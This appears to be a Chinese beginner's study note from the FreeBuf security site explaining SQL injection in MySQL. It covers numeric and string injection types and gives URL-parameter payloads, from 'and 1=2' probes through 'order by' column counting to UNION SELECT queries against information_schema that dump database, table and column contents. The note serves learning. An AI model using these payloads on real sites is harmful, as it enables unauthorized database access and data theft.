freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入漏洞笔记
2021-04-02 22:23:16

(小白笔记分享)

SQL注入指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过不同的条件产生不同的SQL语句。

SQL注入漏洞的产生需要满足:

  • 参数用户可控:前端传给后端的参数是用户可以控制的
  • 参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

SQL注入漏洞的分类:

从注入点区分:

  • 数字型注入
  • 字符型注入

从注入方式区分:

  • 报错注入
  • 延时注入
  • 堆叠注入
  • 布尔注入
  • 宽字节注入

数字型注入:

SELECT COLUMN FROM TABLE WHERE ID = id  # MYSQL查询语句

检查是否存在注入:

?id=1 #返回正确
?id=1 and 1=1 #返回正确  
?id=1 and 1=2 #返回错误

参数周围没有包含引号时,可以传入表达式使其执行。

此时可以初步判断存在数字型注入。

字符型注入:

SELECT COLUMN FROM TABLE WHERE ID = 'id'  # MYSQL查询语句

检查是否存在注入:

?id=1 #返回正确
?id=1 and 1=1 #返回正确  
?id=1 and 1=2 #返回正确
?id=1' #返回错误
?id=1' and 1=1 --+ #返回正确
?id=1' and 1=2 --+ #返回错误

参数周围有引号包裹,传入表达式会被当成字符串处理。

选择闭合引号,然后再注释掉后面的内容。

此时可以初步判断存在字符型注入。

简单的SQL注入攻击:

在此之前,我们需要先了解一些关于MYSQL数据库的知识:

  • 在MYSQL 5.0版本之后,MYSQL默认在数据库中存放一个 information_schema 的数据库。
  • SCHEMATA 表存储该用户创建的所有数据库的库名,该表中记录数据库库名的字段名为 SCHEMA_NAME
  • TABLES 表存储该用户创建的所有数据库的库名和表名,该表中记录数据库库名和表名的字段名为 TABLE_SCHEMA 和 TABLE_NAME
  • COLUMNS 表存储该用户创建的所有数据库库名,表名和字段名的字段名为TABLE_SCHEMA TABLE_NAME和 COLUMN_NAME

在我们判断出注入类型之后,需要进一步获取该数据库的信息:

我们首先来猜该表的字段数:(假设x=2)

?id=1 order by x #当x返回错误 x-1返回正确时 该表字段数为x-1

然后我们再来获取数据库名:(假设获取到的数据库名为dname)

?id=-1 union select 1,database()

接着我们就可以获取表名:(假设获取到的表名为tname)

?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='dname'

随后获取字段名:(假设获取到的字段名为cname)

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='tname'

最后获取到我们需要的信息:

?id=-1 union select 1,group_concat(cname) from database.tname

到这里一次简单的SQL注入就已经完成了。

只是简单了解一下SQL注入的过程。

# SQL注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者